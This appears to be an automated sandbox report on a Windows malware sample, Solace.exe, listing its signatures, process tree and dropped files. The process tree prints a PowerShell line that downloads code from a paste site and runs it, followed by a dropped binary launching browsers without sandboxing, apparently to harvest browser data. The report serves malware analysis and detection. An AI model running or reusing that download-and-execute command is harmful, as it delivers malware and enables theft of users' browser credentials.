Analysis
- user interaction
yes - max time kernel
58s - max time network
48s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
06/08/2026, 18:15
General
- Target Solace.exe
- Size 7.8MB
- Sample260806-wv3yzs1vgx
- SHA256 1b35f5cf1e7d12dafbf7609b018e5865e20257df56edd76674b22e76db995ace
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Solace.exe"C:\Users\Admin\AppData\Local\Temp\Solace.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Solace.exe"C:\Users\Admin\AppData\Local\Temp\Solace.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "iex(irm https://pastee.dev/r/xCbNnU5A/0)"3⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\winsvc.com"C:\Users\Admin\AppData\Local\Temp\winsvc.com"4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --disable-gpu --no-first-run --no-default-browser-check5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --disable-gpu --no-first-run --no-default-browser-check5⤵
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
_bz2.pyd
_lzma.pyd
base_library.zip
python312.dll
ucrtbase.dll
fingerprint.json
fingerprint.json
downloads_240746515.zip
downloads_240746515.zip
extraction.json
extraction.json
winsvc.com
memory/1384-74-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-82-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-73-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-71-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-75-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-76-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-77-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-78-0x00000238F3050000-0x00000238F3212000-memory.dmp
memory/1384-79-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-80-0x00000238F2AA0000-0x00000238F2ACD000-memory.dmp
memory/1384-81-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-72-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-83-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-70-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-94-0x00000238F2AA0000-0x00000238F2ACD000-memory.dmp
memory/1384-95-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-69-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-67-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-68-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-65-0x00000238F2A10000-0x00000238F2A32000-memory.dmp
memory/1384-66-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp
memory/1384-62-0x00007FFD8B02F000-0x00007FFD8B030000-memory.dmp